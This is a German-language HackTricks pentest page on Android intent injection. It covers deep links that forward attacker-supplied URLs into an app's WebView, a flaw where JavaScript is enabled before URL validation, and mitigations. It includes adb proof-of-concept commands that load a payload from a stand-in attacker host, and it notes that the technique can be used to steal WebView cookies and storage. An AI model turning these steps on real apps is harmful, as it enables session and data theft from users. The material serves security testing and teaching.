Intent Injection

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Intent-Injection missbraucht Komponenten, die von Angreifern kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster während Android-App-Pentests sind:

  • Übergeben von gestalteten Extras an exportierte Activities/Services/BroadcastReceivers, die später an privilegierte, nicht exportierte Komponenten weitergeleitet werden.
  • Auslösen von exportierten VIEW/BROWSABLE Deep Links, die von Angreifern kontrollierte URLs in interne WebViews oder andere sensible Senken weiterleiten.

Deep Links → WebView Senke (URL-Parameter-Injection)

Wenn eine App einen benutzerdefinierten Schema-Deep-Link wie folgt exponiert:

text
myscheme://com.example.app/web?url=<attacker_url>

und die empfangende Activity leitet den url-Abfrageparameter in eine WebView weiter, können Sie die App zwingen, beliebige entfernte Inhalte in ihrem eigenen WebView-Kontext darzustellen.

PoC über adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS wird im WebView-Profil der App ausgeführt.
  • Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund von fehlerhaften Prüfungen), können Sie alle exponierten @JavascriptInterface-Objekte auflisten/verwenden, WebView-Cookies/ lokalen Speicher stehlen und pivotieren.

Siehe auch:

Webview Attacks

Order-of-checks-Fehler, der JavaScript aktiviert

Ein wiederkehrender Fehler ist die Aktivierung von JavaScript (oder anderen permissiven WebView-Einstellungen), bevor die endgültige URL-Whitelist/Überprüfung abgeschlossen ist. Wenn frühe Helfer Ihren Deep Link akzeptieren und der WebView zuerst konfiguriert wird, erfolgt Ihr endgültiger Ladevorgang mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind.

Worauf man im dekompilierten Code achten sollte:

  • Mehrere Helfer, die die URL unterschiedlich analysieren/teilen/wiederherstellen (inkonsistente Normalisierung).
  • Aufrufe von getSettings().setJavaScriptEnabled(true) vor der letzten Host-/Pfad-Whitelist-Prüfung.
  • Eine Pipeline wie: analysieren → teilweise validieren → WebView konfigurieren → endgültig überprüfen → loadUrl.

Mitigationen

  • Einmal kanonisieren und streng validieren; sicher schließen.
  • JavaScript nur aktivieren, nachdem alle Prüfungen bestanden sind und kurz bevor vertrauenswürdige Inhalte geladen werden.
  • Vermeiden Sie es, Brücken zu nicht vertrauenswürdigen Ursprüngen offenzulegen.

Andere klassische Intent-Injection-Primitiven

  • startActivity/sendBroadcast unter Verwendung von vom Angreifer bereitgestellten Intent-Extras, die später erneut analysiert (Intent.parseUri(...)) und ausgeführt werden.
  • Exportierte Proxy-Komponenten, die Intents ohne Berechtigungsprüfungen an nicht exportierte sensible Komponenten weiterleiten.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks